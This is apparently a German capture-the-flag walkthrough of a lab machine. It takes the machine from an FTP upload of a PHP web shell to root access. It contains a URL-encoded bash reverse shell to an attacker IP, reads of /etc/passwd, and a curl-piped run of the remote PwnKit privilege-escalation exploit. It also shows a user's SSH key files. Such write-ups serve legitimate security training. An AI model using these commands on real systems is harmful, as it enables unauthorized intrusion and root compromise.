Wir versuchen, die Datei rev.php in das FTP-Hauptverzeichnis hochzuladen, was jedoch fehlschlägt. Die Fehlermeldung "553 Could not create file" deutet darauf hin, dass wir keine Schreibberechtigungen im Hauptverzeichnis haben.

ftp>
└─# cd data
250 Directory successfully changed.

Wir wechseln in das Verzeichnis data.

ftp>
└─# put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||26112|)
150 k to send data.
100% |*| 31 65.10 KiB/s 00:00 ETA
226 Transfer complete.
31 bytes sent in 00:00 (31.66 KiB/s)

Wir laden die Datei rev.php in das Verzeichnis data hoch. Der Upload ist erfolgreich, da wir Schreibberechtigungen in diesem Verzeichnis haben.

Web Enumeration

Nach dem Hochladen der rev.php-Datei testen wir sie, um zu sehen, ob sie wie erwartet funktioniert.

http://192.168.2.107/zamowienie/data/
└─# rev.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Wir führen den Befehl id über die rev.php-Datei aus. Die Ausgabe zeigt, dass der Befehl als Benutzer www-data ausgeführt wird. Dies bestätigt, dass wir Code auf dem Webserver ausführen können.

http://192.168.2.107/zamowienie/data/
└─# rev.php?cmd=ls%20/home
jpeguser

Wir listen den Inhalt des Verzeichnisses /home auf, um die vorhandenen Benutzer zu identifizieren. Wir finden den Benutzer jpeguser.

http://192.168.2.107/zamowienie/data/
└─# rev.php?cmd=cat%20/etc/passwd|grep%20bash
root:x:0:0:root:/root:/bin/bash

Wir lesen die Datei /etc/passwd aus und filtern die Ausgabe nach Zeilen, die /bin/bash enthalten. Dies zeigt uns die Benutzer, die eine Bash-Shell verwenden. In diesem Fall finden wir den Benutzer root.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Wir starten einen Netcat-Listener auf Port 9001, um eine Reverse-Shell zu empfangen.

http://192.168.2.107/zamowienie/data/
└─# rev.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27

Wir verwenden die rev.php-Datei, um eine Reverse-Shell zu starten. Der Befehl /bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/9001 0>&1' startet eine interaktive Bash-Shell und leitet die Ein- und Ausgabe über eine TCP-Verbindung zu unserer Kali-Maschine auf Port 9001 um. Die URL-kodierte Version dieses Befehls wird an die rev.php-Datei übergeben.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.107] 55352
bash: cannot set terminal process group (1083): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ctflabs-chatty1:/u01/zamowienie/data$

Wir empfangen eine Verbindung von der Zielmaschine. Wir sind jetzt als Benutzer www-data angemeldet. Die Meldungen "cannot set terminal process group" und "no job control in this shell" deuten darauf hin, dass wir keine vollständig interaktive Shell haben.

www-data@ctflabs-chatty1:/u01/zamowienie/data$
└─# ls /home
jpeguser

Wir listen den Inhalt des Verzeichnisses /home auf, um die vorhandenen Benutzer zu identifizieren. Wir finden den Benutzer jpeguser.

www-data@ctflabs-chatty1:/u01/zamowienie/data$
└─# which python
/usr/bin/python

Wir überprüfen, ob Python installiert ist. Python ist oft nützlich für Privilege Escalation, da es viele exploitable Module gibt.

Privilege Escalation

In dieser Phase versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.

www-data@ctflabs-chatty1:/u01/zamowienie/data$
└─# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Wir überprüfen unsere aktuelle Benutzer-ID. Wir sind immer noch als Benutzer www-data angemeldet.

www-data@ctflabs-chatty1:/u01/zamowienie/data$
└─# find / -type f -perm -4000 -ls 2>/dev/null
4633 60 -rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
12201 20 -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
12375 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newuidmap
9906 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
2103 148 -rwsr-xr-x 1 root root 149080 Jan 17 2018 /usr/bin/sudo
4628 44 -rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
14212 24 -rwsr-xr-x 1 root root 22520 Jul 13 2018 /usr/bin/pkexec
12317 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newgidmap
4253 40 -rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp
4631 76 -rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
4627 76 -rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
145644 100 -rwsr-sr-x 1 root root 101208 Jul 19 2018 /usr/lib/snapd/snap-confine
4756 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
14214 16 -rwsr-xr-x 1 root root 14328 Jul 13 2018 /usr/lib/policykit-1/polkit-agent-helper-1
5888 84 -rwsr-xr-x 1 root root 84152 Sep 10 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
1219 428 -rwsr-xr-x 1 root root 436552 Nov 5 2018 /usr/lib/openssh/ssh-keysign
3271 44 -rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
132632 28 -rwsr-xr-x 1 root root 26696 Jul 26 2018 /bin/umount
131157 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
131100 44 -rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
132059 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
132461 44 -rwsr-xr-x 1 root root 43088 Jul 26 2018 /bin/mount
143776 144 -rwsr-xr-x 1 root root 146128 Nov 30 2017 /bin/ntfs-3g

Wir suchen nach SUID-Dateien (Set User ID), die von Root ausgeführt werden können. SUID-Dateien ermöglichen es einem Benutzer, ein Programm mit den Privilegien des Dateibesitzers (in der Regel Root) auszuführen. Dies kann für Privilege Escalation ausgenutzt werden, wenn eine SUID-Datei eine Schwachstelle aufweist. Die Option -perm -4000 sucht nach Dateien, bei denen das SUID-Bit gesetzt ist. pkexec ist hier ein interessanter Kandidat.

www-data@ctflabs-chatty1:/u01/zamowienie/data$
└─# cd /tmp/

Wir wechseln in das Verzeichnis /tmp/, da wir hier Schreibrechte haben.

www-data@ctflabs-chatty1:/tmp$
└─# /usr/bin/pkexec /bin/sh
AUTHENTICATING FR org.freedesktop.policykit.exec =
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: root
Password:

Wir versuchen, eine Shell als Root mit pkexec auszuführen. pkexec ist ein Tool, das es autorisierten Benutzern ermöglicht, Befehle mit erhöhten Privilegien auszuführen. In diesem Fall werden wir nach dem Root-Passwort gefragt, das wir nicht kennen.

www-data@ctflabs-chatty1:/tmp$
└─# curl
curl: try 'curl --help' or 'curl --manual' for more information

Wir überprüfen, ob curl installiert ist, da wir es später für einen Exploit verwenden werden.

Proof of Concept: Privilege Escalation mit PwnKit

Dieser Proof of Concept demonstriert, wie wir die Schwachstelle in pkexec ausnutzen können, um Root-Privilegien zu erlangen.

www-data@ctflabs-chatty1:/tmp$
└─# sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

Wir laden das PwnKit-Skript herunter und führen es aus. PwnKit ist ein Exploit, der eine Schwachstelle in pkexec ausnutzt, um Root-Privilegien zu erlangen.

  • curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh: Lädt das PwnKit-Skript herunter. Die Optionen -fsSL stellen sicher, dass curl bei Fehlern fehlschlägt (-f), still ist (-s), Weiterleitungen folgt (-L) und SSL verwendet (-S).
  • sh -c "$( )": Führt das heruntergeladene Skript aus.

root@ctflabs-chatty1:/tmp#
└─# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

**Fantastisch! Der Root-Zugriff war erfolgreich!** Wir haben unser Ziel erreicht und sind jetzt als root angemeldet. Der Befehl id bestätigt, dass wir Root-Privilegien haben (uid=0).

Privilege Escalation (Erfolg)

root@ctflabs-chatty1:/tmp#
└─# ls -la
total 68
drwx 6 root root 4096 Feb 26 2019 .
drwxr-xr-x 24 root root 4096 Nov 29 2018 ..
drwx 2 root root 4096 Apr 19 2018 .aptitude
-rw- 1 root root 681 Apr 27 2018 .asterisk_history
-rw- 1 root root 33 Feb 26 2019 .bash_history
-rw-r--r-- 1 root root 3106 Feb 19 2014 .bashrc
drwx 2 root root 4096 Apr 19 2018 .cache
drwx 3 root root 4096 Dec 6 2018 .gnupg
-rw- 1 root root 396 Apr 20 2018 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw- 1 root root 1024 Apr 20 2018 .rnd
drwx 2 root root 4096 Dec 6 2018 .ssh
-rw- 1 root root 15067 Feb 26 2019 .viminfo
-rw- 1 root root 196 Feb 26 2019 flag.txt

Wir listen den Inhalt des Root-Verzeichnisses auf, um die Datei flag.txt zu finden.

root@ctflabs-chatty1:/tmp#
└─# cat flag.txt
Congratulations you got the flag!

Let me know what you thought on twitter. I'm @helvioju

I'm always working on new challenges. Follow me for updates.

My Best Regards
Helvio Junior (M4v3r1cK)

Wir lesen den Inhalt der Datei flag.txt, um die Root-Flagge zu erhalten.

root@ctflabs-chatty1:/tmp#
└─# cd /home/jpeguser/
root@ctflabs-chatty1:/home/jpeguser#
└─# ls
root@ctflabs-chatty1:/home/jpeguser#
└─# ls -la
total 20
drwxr-x 5 jpeguser jpeguser 4096 Dec 6 2018 .
drwxr-xr-x 3 root root 4096 Dec 6 2018 ..
drwx 2 jpeguser jpeguser 4096 Apr 23 2018 .cache
drwx 3 jpeguser jpeguser 4096 Nov 29 2018 .gnupg
drwxrwx 2 jpeguser jpeguser 4096 Apr 23 2018 .ssh

Wir wechseln in das Home-Verzeichnis des Benutzers jpeguser und listen dessen Inhalt auf.

root@ctflabs-chatty1:/home/jpeguser#
└─# cd .ssh/
root@ctflabs-chatty1:/home/jpeguser/.ssh#
└─# ls -la
total 20
drwxrwx 2 jpeguser jpeguser 4096 Apr 23 2018 .
drwxr-x 5 jpeguser jpeguser 4096 Dec 6 2018 ..
-rw-rw- 1 jpeguser jpeguser 399 Apr 23 2018 authorized_keys
-rw- 1 jpeguser jpeguser 1679 Apr 23 2018 id_rsa
-rw-r-- 1 jpeguser jpeguser 399 Apr 23 2018 id_rsa.pub

Wir wechseln in das .ssh-Verzeichnis des Benutzers jpeguser und listen dessen Inhalt auf. Wir finden die Dateien authorized_keys, id_rsa und id_rsa.pub. Dies deutet darauf hin, dass der Benutzer SSH-Schlüssel verwendet.

Flags

cat user.txt userflag
cat root.txt Congratulations you got the flag! Let me know what you thought on twitter. I'm @helvioju I'm always working on new challenges. Follow me for updates. My Best Regards Helvio Junior (M4v3r1cK)